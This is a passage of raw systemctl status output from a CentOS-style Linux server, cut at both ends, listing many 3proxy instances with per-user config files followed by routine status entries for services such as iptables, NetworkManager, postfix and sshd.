/usr/local/3proxy-0.9.4/bin/3proxy /config/jokubasm-PKLAZQ1I.cfg\\n |- 8856 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-9V5EZIT3.cfg\\n |- 9000 /usr/local/3proxy-0.9.4/bin/3proxy /config/garywebe-S9N0UHLT.cfg\\n |- 9347 /usr/local/3proxy-0.9.4/bin/3proxy /config/beytum28-3OHM4FDZ.cfg\\n |- 9447 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-5ZHQ0PCJ.cfg\\n |- 9450 /usr/local/3proxy-0.9.4/bin/3proxy /config/feeltheb-QHESSGCK.cfg\\n |- 9648 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-PCC7YB6Y.cfg\\n |- 9863 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-5IC02KU4.cfg\\n |- 9867 /usr/local/3proxy-0.9.4/bin/3proxy /config/ramkumar-1SJNA571.cfg\\n |- 9904 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-D0LAAPSM.cfg\\n |-10055 /usr/local/3proxy-0.9.4/bin/3proxy /config/pcrazier-0AHA9804.cfg\\n |-10348 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-HASRATUN-BGQ469MB.cfg\\n |-10863 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-XUH7LKJP.cfg\\n |-11039 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-NUKEBALA-R352JDMH.cfg\\n |-11071 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-1YBJBB41.cfg\\n |-11195 /usr/local/3proxy-0.9.4/bin/3proxy /config/usamamaq-D5WH8BCA.cfg\\n |-11938 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-6TMAH70E.cfg\\n |-12018 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-QX1Z22I2.cfg\\n |-12112 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-ELOW7A5V.cfg\\n |-12166 /usr/local/3proxy-0.9.4/bin/3proxy /config/ultimall-QEL0H6XE.cfg\\n |-12520 /usr/local/3proxy-0.9.4/bin/3proxy /config/maxmagal-WHRK9CZD.cfg\\n |-12543 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-VXED6OLM.cfg\\n |-12931 /usr/local/3proxy-0.9.4/bin/3proxy /config/stevecay-HZLD5FHY.cfg\\n |-13006 /usr/local/3proxy-0.9.4/bin/3proxy /config/rangaqas-E344BRC1.cfg\\n |-13343 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-ILOCN0PB.cfg\\n |-13377 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-OJF7JY4X.cfg\\n |-13481 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-GA37XALB.cfg\\n |-13652 /usr/local/3proxy-0.9.4/bin/3proxy /config/amryasse-F0PUX096.cfg\\n |-13796 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-UZG1R68R.cfg\\n |-13861 /usr/local/3proxy-0.9.4/bin/3proxy /config/24634855-LBLUXR6G.cfg\\n |-14460 /usr/local/3proxy-0.9.4/bin/3proxy /config/jetatech-HHD0U3U2.cfg\\n |-14581 /usr/local/3proxy-0.9.4/bin/3proxy /config/mdehan88-IA9W3TYK.cfg\\n |-14640 /usr/local/3proxy-0.9.4/bin/3proxy /config/mdehan88-YPSMKRNB.cfg\\n |-14755 /usr/local/3proxy-0.9.4/bin/3proxy /config/cschreib-74UXBGV4.cfg\\n |-15058 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-G0N098AJ.cfg\\n |-15265 /usr/local/3proxy-0.9.4/bin/3proxy /config/nanridao-6CCUUKND.cfg\\n |-15445 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-EE1RFSOB.cfg\\n |-15626 /usr/sbin/httpd -DFOREGROUND\\n |-15778 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdanaa-NNFTTDBT.cfg\\n |-16027 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-VUHAQ4CQ.cfg\\n |-16077 /usr/local/3proxy-0.9.4/bin/3proxy /config/2bogdang-PBY9LEME.cfg\\n |-16561 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-SLEATHEE-P5URGKWT.cfg\\n |-16877 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-CJ8V9HU7.cfg\\n |-16917 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-CIOQ0EXU.cfg\\n |-17422 /usr/local/3proxy-0.9.4/bin/3proxy /config/funnyuk0-O2ZQ4E1U.cfg\\n |-17572 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-7993ZMBW.cfg\\n |-18608 /usr/local/3proxy-0.9.4/bin/3proxy /config/thebeaut-0CFZL22C.cfg\\n |-18829 /usr/local/3proxy-0.9.4/bin/3proxy /config/\\n |-19598 /usr/local/3proxy-0.9.4/bin/3proxy /config/63961582-OHLA2N15.cfg\\n |-19653 /usr/local/3proxy-0.9.4/bin/3proxy /config/wjwlwjsd-HYMFTR1H.cfg\\n |-19766 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-7YGF2XOW.cfg\\n |-19801 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-QGIHVIQJ.cfg\\n |-20044 /usr/local/3proxy-0.9.4/bin/3proxy /config/terrymay-QNRSJSUS.cfg\\n |-20473 /usr/local/3proxy-0.9.4/bin/3proxy /config/tehcarna-V8UEBZWR.cfg\\n |-20562 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-O7QYSBW9.cfg\\n |-20793 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-CODYLOFT-YAPB8PT6.cfg\\n |-20873 /usr/local/3proxy-0.9.4/bin/3proxy /config/NevaVonp-7OIXEQC9.cfg\\n |-21392 /usr/local/3proxy-0.9.4/bin/3proxy /config/mohammad-8S4MKNJY.cfg\\n |-21411 /usr/local/3proxy-0.9.4/bin/3proxy /config/nsadik91-LELIQ5IT.cfg\\n |-21678 /usr/sbin/httpd -DFOREGROUND\\n |-21715 /usr/sbin/httpd -DFOREGROUND\\n |-21793 /usr/local/3proxy-0.9.4/bin/3proxy /config/sumon036-E79935I3.cfg\\n |-21894 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-AN8DWF3Q.cfg\\n |-22378 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-E38YLZHD.cfg\\n |-22485 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-VSYL474X.cfg\\n |-22514 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-23AOGRTN.cfg\\n |-22613 /usr/local/3proxy-0.9.4/bin/3proxy /config/imrankab-KQCKLORW.cfg\\n |-23035 /usr/local/3proxy-0.9.4/bin/3proxy /config/yukic355-AWCKNKTI.cfg\\n |-23220 /usr/local/3proxy-0.9.4/bin/3proxy /config/bangdam2-QFC385KS.cfg\\n |-23627 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-BTG42PRO-WW673YX6.cfg\\n |-23714 /usr/local/3proxy-0.9.4/bin/3proxy /config/sleathee-CGOKKNIV.cfg\\n |-23758 /usr/local/3proxy-0.9.4/bin/3proxy /config/jameswes-L3HTZ57D.cfg\\n |-23885 /usr/local/3proxy-0.9.4/bin/3proxy /config/wjwlwjsd-8GUH8YC2.cfg\\n |-24009 /usr/local/3proxy-0.9.4/bin/3proxy /config/48531961-K3LI21MN.cfg\\n |-24079 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-O827S44C.cfg\\n |-24468 /usr/sbin/httpd -DFOREGROUND\\n |-24893 /usr/local/3proxy-0.9.4/bin/3proxy /config/odesk071-QKFNZNUX.cfg\\n |-25024 /usr/local/3proxy-0.9.4/bin/3proxy /config/mithunba-K83V1K6H.cfg\\n |-25109 /usr/local/3proxy-0.9.4/bin/3proxy /config/parthiec-0Z8P5V0H.cfg\\n |-25264 /usr/sbin/httpd -DFOREGROUND\\n |-25449 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-IXL8ZDVL.cfg\\n |-25480 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-Y8SNVKCQ.cfg\\n |-25510 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-OM2UJDQ6.cfg\\n |-25518 /usr/local/3proxy-0.9.4/bin/3proxy /config/t1337dud-XWF3JM66.cfg\\n |-25565 /usr/local/3proxy-0.9.4/bin/3proxy /config/sandym34-PRBNHE8F.cfg\\n |-25673 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-OBS6Q994.cfg\\n |-26042 /usr/local/3proxy-0.9.4/bin/3proxy /config/monajkum-Y4SXOLC6.cfg\\n |-26381 /usr/local/3proxy-0.9.4/bin/3proxy /config/fedewine-9I3QB580.cfg\\n |-26673 /usr/local/3proxy-0.9.4/bin/3proxy /config/socratou-X8DR61LP.cfg\\n |-27356 /usr/local/3proxy-0.9.4/bin/3proxy /config/sumon036-0NK0179Z.cfg\\n |-27590 /usr/local/3proxy-0.9.4/bin/3proxy /config/itsficho-MM3VJX9G.cfg\\n |-27842 /usr/local/3proxy-0.9.4/bin/3proxy /config/usamamaq-AXFEX9TY.cfg\\n |-27872 /usr/local/3proxy-0.9.4/bin/3proxy /config/aplecdag-WXEB7445.cfg\\n |-27922 /usr/local/3proxy-0.9.4/bin/3proxy /config/asadsaee-SWRSZRIX.cfg\\n |-27937 /usr/local/3proxy-0.9.4/bin/3proxy /config/alexndra-ADBQFT3Q.cfg\\n |-27992 /usr/local/3proxy-0.9.4/bin/3proxy /config/amryasse-16I4R6K8.cfg\\n |-28027 /usr/local/3proxy-0.9.4/bin/3proxy /config/odesk071-KXYUDMGK.cfg\\n |-28287 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-0SQJC17D.cfg\\n |-28299 /usr/local/3proxy-0.9.4/bin/3proxy /config/24634855-K5ZN8PLF.cfg\\n |-28491 /usr/local/3proxy-0.9.4/bin/3proxy /config/itai9564-TDFUOF5K.cfg\\n |-28564 /usr/local/3proxy-0.9.4/bin/3proxy /config/jetatech-4A25HKHM.cfg\\n |-28807 /usr/local/3proxy-0.9.4/bin/3proxy /config/maxmagal-T8C9YWSV.cfg\\n |-29659 /usr/local/3proxy-0.9.4/bin/3proxy /config/alexyour-CYE4VYQH.cfg\\n |-30339 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-VO7HO08C.cfg\\n |-30504 /usr/local/3proxy-0.9.4/bin/3proxy /config/daovanqu-AUQ42DL4.cfg\\n |-30715 /usr/local/3proxy-0.9.4/bin/3proxy /config/ssarath4-Y8UW3IT9.cfg\\n |-30836 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-2OEBUR1T.cfg\\n |-30913 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-GVJ9H4MS.cfg\\n |-31112 /usr/local/3proxy-0.9.4/bin/3proxy /config/devheads-VCTNZAEZ.cfg\\n |-31508 /usr/local/3proxy-0.9.4/bin/3proxy /config/lctbylcg-8EHTS5HA.cfg\\n |-31651 /usr/local/3proxy-0.9.4/bin/3proxy /config/rsnvvqeh-1PZEPVMT.cfg\\n |-32004 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-CHTHU3XZ.cfg\\n |-32043 /usr/local/3proxy-0.9.4/bin/3proxy /config/mdehan88-FGA2L7NA.cfg\\n |-32402 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-ORVORJHT.cfg\\n `-32595 /usr/sbin/httpd -DFOREGROUND\\n\\n* initrd-cleanup.service - Cleaning Up and Shutting Down Daemons\\n Loaded: loaded (/usr/lib/systemd/system/initrd-cleanup.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Main PID: 651 (code=exited, status=0/SUCCESS)\\n\\n* initrd-parse-etc.service - Reload Configuration from the Real Root\\n Loaded: loaded (/usr/lib/systemd/system/initrd-parse-etc.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Main PID: 625 (code=exited, status=0/SUCCESS)\\n\\n* initrd-switch-root.service - Switch Root\\n Loaded: loaded (/usr/lib/systemd/system/initrd-switch-root.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Process: 659 ExecStart=/usr/bin/systemctl --no-block --force switch-root /sysroot (code=exited, status=0/SUCCESS)\\n Main PID: 659 (code=exited, status=0/SUCCESS)\\n\\n* initrd-udevadm-cleanup-db.service - Cleanup udevd DB\\n Loaded: loaded (/usr/lib/systemd/system/initrd-udevadm-cleanup-db.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Main PID: 657 (code=exited, status=0/SUCCESS)\\n\\n* ip6tables.service - IPv6 firewall with ip6tables\\n Loaded: loaded (/usr/lib/systemd/system/ip6tables.service; disabled; vendor preset: disabled)\\n Active: inactive (dead)\\n\\n* iptables.service - IPv4 firewall with iptables\\n Loaded: loaded (/usr/lib/systemd/system/iptables.service; enabled; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Process: 956 ExecStart=/usr/libexec/iptables/iptables.init start (code=exited, status=0/SUCCESS)\\n Main PID: 956 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/iptables.service\\n\\n* irqbalance.service - irqbalance daemon\\n Loaded: loaded (/usr/lib/systemd/system/irqbalance.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Main PID: 999 (irqbalance)\\n Tasks: 1\\n Memory: 400.0K\\n CGroup: /system.slice/irqbalance.service\\n `-999 /usr/sbin/irqbalance --foreground\\n\\n* kdump.service - Crash recovery kernel arming\\n Loaded: loaded (/usr/lib/systemd/system/kdump.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:31 -05; 9 months 10 days ago\\n Process: 1287 ExecStart=/usr/bin/kdumpctl start (code=exited, status=0/SUCCESS)\\n Main PID: 1287 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/kdump.service\\n\\n* kmod-static-nodes.service - Create list of required static device nodes for the current kernel\\n Loaded: loaded (/usr/lib/systemd/system/kmod-static-nodes.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Process: 679 ExecStart=/usr/bin/kmod static-nodes --format=tmpfiles --output=/run/tmpfiles.d/kmod.conf (code=exited, status=0/SUCCESS)\\n Main PID: 679 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/kmod-static-nodes.service\\n\\n* lvm2-lvmetad.service - LVM2 metadata daemon\\n Loaded: loaded (/usr/lib/systemd/system/lvm2-lvmetad.service; static; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Docs: man:lvmetad(8)\\n Main PID: 691 (lvmetad)\\n Tasks: 1\\n Memory: 372.0K\\n CGroup: /system.slice/lvm2-lvmetad.service\\n `-691 /usr/sbin/lvmetad -f\\n\\n* lvm2-lvmpolld.service - LVM2 poll daemon\\n Loaded: loaded (/usr/lib/systemd/system/lvm2-lvmpolld.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:lvmpolld(8)\\n\\n* lvm2-monitor.service - Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling\\n Loaded: loaded (/usr/lib/systemd/system/lvm2-monitor.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:dmeventd(8)\\n man:lvcreate(8)\\n man:lvchange(8)\\n man:vgchange(8)\\n Process: 689 ExecStart=/usr/sbin/lvm vgchange --monitor y --ignoreskippedcluster (code=exited, status=0/SUCCESS)\\n Main PID: 689 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/lvm2-monitor.service\\n\\n* lvm2-pvscan@8:5.service - LVM2 PV scan on device 8:5\\n Loaded: loaded (/usr/lib/systemd/system/lvm2-pvscan@.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:pvscan(8)\\n Process: 818 ExecStart=/usr/sbin/lvm pvscan --cache --activate ay %i (code=exited, status=0/SUCCESS)\\n Main PID: 818 (code=exited, status=0/SUCCESS)\\n\\n* microcode.service - Load CPU microcode update\\n Loaded: loaded (/usr/lib/systemd/system/microcode.service; enabled; vendor preset: enabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Process: 989 ExecStart=/usr/libexec/microcode_ctl/reload_microcode (code=exited, status=0/SUCCESS)\\n Main PID: 989 (code=exited, status=0/SUCCESS)\\n\\n* network.service - LSB: Bring up/down networking\\n Loaded: loaded (/etc/rc.d/init.d/network; bad; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:29 -05; 9 months 10 days ago\\n Docs: man:systemd-sysv-generator(8)\\n Process: 1115 ExecStart=/etc/rc.d/init.d/network start (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n\\n* NetworkManager-wait-online.service - Network Manager Wait Online\\n Loaded: loaded (/usr/lib/systemd/system/NetworkManager-wait-online.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:26 -05; 9 months 10 days ago\\n Docs: man:nm-online(1)\\n Process: 1051 ExecStart=/usr/bin/nm-online -s -q --timeout=30 (code=exited, status=0/SUCCESS)\\n Main PID: 1051 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/NetworkManager-wait-online.service\\n\\n* NetworkManager.service - Network Manager\\n Loaded: loaded (/usr/lib/systemd/system/NetworkManager.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:NetworkManager(8)\\n Main PID: 1044 (NetworkManager)\\n Tasks: 3\\n Memory: 44.5M\\n CGroup: /system.slice/NetworkManager.service\\n `-1044 /usr/sbin/NetworkManager --no-daemon\\n\\n* plymouth-quit-wait.service - Wait for Plymouth Boot Screen to Quit\\n Loaded: loaded (/usr/lib/systemd/system/plymouth-quit-wait.service; disabled; vendor preset: disabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Process: 1041 ExecStart=/usr/bin/plymouth --wait (code=exited, status=0/SUCCESS)\\n Main PID: 1041 (code=exited, status=0/SUCCESS)\\n\\n* plymouth-quit.service - Terminate Plymouth Boot Screen\\n Loaded: loaded (/usr/lib/systemd/system/plymouth-quit.service; disabled; vendor preset: disabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Process: 1043 ExecStart=/usr/bin/plymouth quit (code=exited, status=0/SUCCESS)\\n Main PID: 1043 (code=exited, status=0/SUCCESS)\\n\\n* plymouth-read-write.service - Tell Plymouth To Write Out Runtime Data\\n Loaded: loaded (/usr/lib/systemd/system/plymouth-read-write.service; disabled; vendor preset: disabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Process: 909 ExecStart=/usr/bin/plymouth update-root-fs --read-write (code=exited, status=0/SUCCESS)\\n Main PID: 909 (code=exited, status=0/SUCCESS)\\n\\n* plymouth-start.service - Show Plymouth Boot Screen\\n Loaded: loaded (/usr/lib/systemd/system/plymouth-start.service; disabled; vendor preset: disabled)\\n Active: inactive (dead) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Main PID: 419 (code=exited, status=0/SUCCESS)\\n\\n* plymouth-switch-root.service - Plymouth switch root service\\n Loaded: loaded (/usr/lib/systemd/system/plymouth-switch-root.service; static; vendor preset: disabled)\\n Active: inactive (dead) since Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n Main PID: 652 (code=exited, status=0/SUCCESS)\\n\\n* polkit.service - Authorization Manager\\n Loaded: loaded (/usr/lib/systemd/system/polkit.service; static; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:polkit(8)\\n Main PID: 972 (polkitd)\\n Tasks: 7\\n Memory: 6.4M\\n CGroup: /system.slice/polkit.service\\n `-972 /usr/lib/polkit-1/polkitd --no-debug\\n\\n* postfix.service - Postfix Mail Transport Agent\\n Loaded: loaded (/usr/lib/systemd/system/postfix.service; enabled; vendor preset: disabled)\\n Active: active (running) since Sat 2023-05-06 02:32:29 -05; 9 months 10 days ago\\n Process: 1302 ExecStart=/usr/sbin/postfix start (code=exited, status=0/SUCCESS)\\n Process: 1294 ExecStartPre=/usr/libexec/postfix/chroot-update (code=exited, status=0/SUCCESS)\\n Process: 1270 ExecStartPre=/usr/libexec/postfix/aliasesdb (code=exited, status=0/SUCCESS)\\n Main PID: 2021 (master)\\n Tasks: 3\\n Memory: 6.5M\\n CGroup: /system.slice/postfix.service\\n |- 2021 /usr/libexec/postfix/master -w\\n |- 2094 qmgr -l -t unix -u\\n `-13682 pickup -l -t unix -u\\n\\n* rc-local.service - /etc/rc.d/rc.local Compatibility\\n Loaded: loaded (/usr/lib/systemd/system/rc-local.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n\\n* rescue.service - Rescue Shell\\n Loaded: loaded (/usr/lib/systemd/system/rescue.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:sulogin(8)\\n\\n* rhel-autorelabel-mark.service - Mark the need to relabel after reboot\\n Loaded: loaded (/usr/lib/systemd/system/rhel-autorelabel-mark.service; enabled; vendor preset: enabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n ConditionPathExists=!/.autorelabel was not met\\n\\n* rhel-autorelabel.service - Relabel all filesystems, if necessary\\n Loaded: loaded (/usr/lib/systemd/system/rhel-autorelabel.service; enabled; vendor preset: enabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n ConditionSecurity=selinux was not met\\n\\n* rhel-configure.service - Reconfigure the system on administrator request\\n Loaded: loaded (/usr/lib/systemd/system/rhel-configure.service; enabled; vendor preset: enabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n ConditionPathExists=/.unconfigured was not met\\n\\n* rhel-dmesg.service - Dump dmesg to /var/log/dmesg\\n Loaded: loaded (/usr/lib/systemd/system/rhel-dmesg.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Process: 978 ExecStart=/usr/lib/systemd/rhel-dmesg (code=exited, status=0/SUCCESS)\\n Main PID: 978 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/rhel-dmesg.service\\n\\n* rhel-domainname.service - Read and set NIS domainname from /etc/sysconfig/network\\n Loaded: loaded (/usr/lib/systemd/system/rhel-domainname.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Process: 676 ExecStart=/usr/lib/systemd/rhel-domainname (code=exited, status=0/SUCCESS)\\n Main PID: 676 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/rhel-domainname.service\\n\\n* rhel-import-state.service - Import network configuration from initramfs\\n Loaded: loaded (/usr/lib/systemd/system/rhel-import-state.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Process: 910 ExecStart=/usr/lib/systemd/rhel-import-state (code=exited, status=0/SUCCESS)\\n Main PID: 910 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/rhel-import-state.service\\n\\n* rhel-loadmodules.service - Load legacy module configuration\\n Loaded: loaded (/usr/lib/systemd/system/rhel-loadmodules.service; enabled; vendor preset: enabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n none of the trigger conditions were met\\n\\n* rhel-readonly.service - Configure read-only root support\\n Loaded: loaded (/usr/lib/systemd/system/rhel-readonly.service; enabled; vendor preset: enabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n Process: 701 ExecStart=/usr/lib/systemd/rhel-readonly (code=exited, status=0/SUCCESS)\\n Main PID: 701 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/rhel-readonly.service\\n\\n* rsyslog.service - System Logging Service\\n Loaded: loaded (/usr/lib/systemd/system/rsyslog.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:34 -05; 9 months 10 days ago\\n Docs: man:rsyslogd(8)\\n http://www.rsyslog.com/doc/\\n Main PID: 1288 (rsyslogd)\\n Tasks: 3\\n Memory: 2.4M\\n CGroup: /system.slice/rsyslog.service\\n `-1288 /usr/sbin/rsyslogd -n\\n\\n* selinux-policy-migrate-local-changes@targeted.service - Migrate local SELinux policy changes from the old store structure to the new structure\\n Loaded: loaded (/usr/lib/systemd/system/basic.target.wants/../selinux-policy-migrate-local-changes@.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n ConditionSecurity=selinux was not met\\n\\n* sshd-keygen.service - OpenSSH Server Key Generation\\n Loaded: loaded (/usr/lib/systemd/system/sshd-keygen.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n none of the trigger conditions were met\\n\\n* sshd.service - OpenSSH server daemon\\n Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled)\\n Active: active (running) since Sat 2023-05-06 02:32:29 -05; 9 months 10 days ago\\n Docs: man:sshd(8)\\n man:sshd_config(5)\\n Main PID: 1274 (sshd)\\n Tasks: 1\\n Memory: 1.7M\\n CGroup: /system.slice/sshd.service\\n `-1274 /usr/sbin/sshd -D\\n\\n* systemd-ask-password-console.service - Dispatch Password Requests to Console\\n Loaded: loaded (/usr/lib/systemd/system/systemd-ask-password-console.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:systemd-ask-password-console.service(8)\\n\\n* systemd-ask-password-plymouth.service - Forward Password Requests to Plymouth\\n Loaded: loaded (/usr/lib/systemd/system/systemd-ask-password-plymouth.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: http://www.freedesktop.org/wiki/Software/systemd/PasswordAgents\\n\\n* systemd-ask-password-wall.service - Forward Password Requests to Wall\\n Loaded: loaded (/usr/lib/systemd/system/systemd-ask-password-wall.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\n Docs: man:systemd-ask-password-console.service(8)\\n\\n* systemd-binfmt.service - Set Up Additional Binary Formats\\n Loaded: loaded (/usr/lib/systemd/system/systemd-binfmt.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n none of the trigger conditions were met\\n Docs: man:systemd-binfmt.service(8)\\n man:binfmt.d(5)\\n https://www.kernel.org/doc/Documentation/admin-guide/binfmt-misc.rst\\n\\n* systemd-firstboot.service - First Boot Wizard\\n Loaded: loaded (/usr/lib/systemd/system/systemd-firstboot.service; static; vendor preset: disabled)\\n Active: inactive (dead)\\nCondition: start condition failed at Sat 2023-05-06 02:32:17 -05; 9 months 10 days ago\\n ConditionFirstBoot=yes was not met\\n Docs: man:systemd-firstboot(1)\\n\\n* systemd-fsck-root.service - File System Check on Root Device\\n Loaded: loaded (/usr/lib/systemd/system/systemd-fsck-root.service; static; vendor preset: disabled)\\n Active: active (exited) since Fri 2023-05-05 21:32:16 -05; 9 months 10 days ago\\n Docs: man:systemd-fsck-root.service(8)\\n Main PID: 568 (code=exited, status=0/SUCCESS)\\n Tasks: 0\\n Memory: 0B\\n CGroup: /system.slice/systemd-fsck-root.service\\n\\n* systemd-fsck@dev-disk-by\\\\x2duuid-afb8eccd\\\\x2d5e82\\\\x2d4e15\\\\x2d9bb2\\\\x2da1a475e4eff2.service - File System Check on /dev/disk/by-uuid/afb8eccd-5e82-4e15-9bb2-a1a475e4eff2\\n Loaded: loaded (/usr/lib/systemd/system/systemd-fsck@.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:systemd-fsck@.service(8)\\n Process: 825 ExecStart=/usr/lib/systemd/systemd-fsck %f (code=exited, status=0/SUCCESS)\\n Main PID: 825 (code=exited, status=0/SUCCESS)\\n\\n* systemd-fsck@dev-mapper-myvg\\\\x2dtmp.service - File System Check on /dev/mapper/myvg-tmp\\n Loaded: loaded (/usr/lib/systemd/system/systemd-fsck@.service; static; vendor preset: disabled)\\n Active: active (exited) since Sat 2023-05-06 02:32:19 -05; 9 months 10 days ago\\n Docs: man:systemd-fsck@.service(8)\\n Process: 853 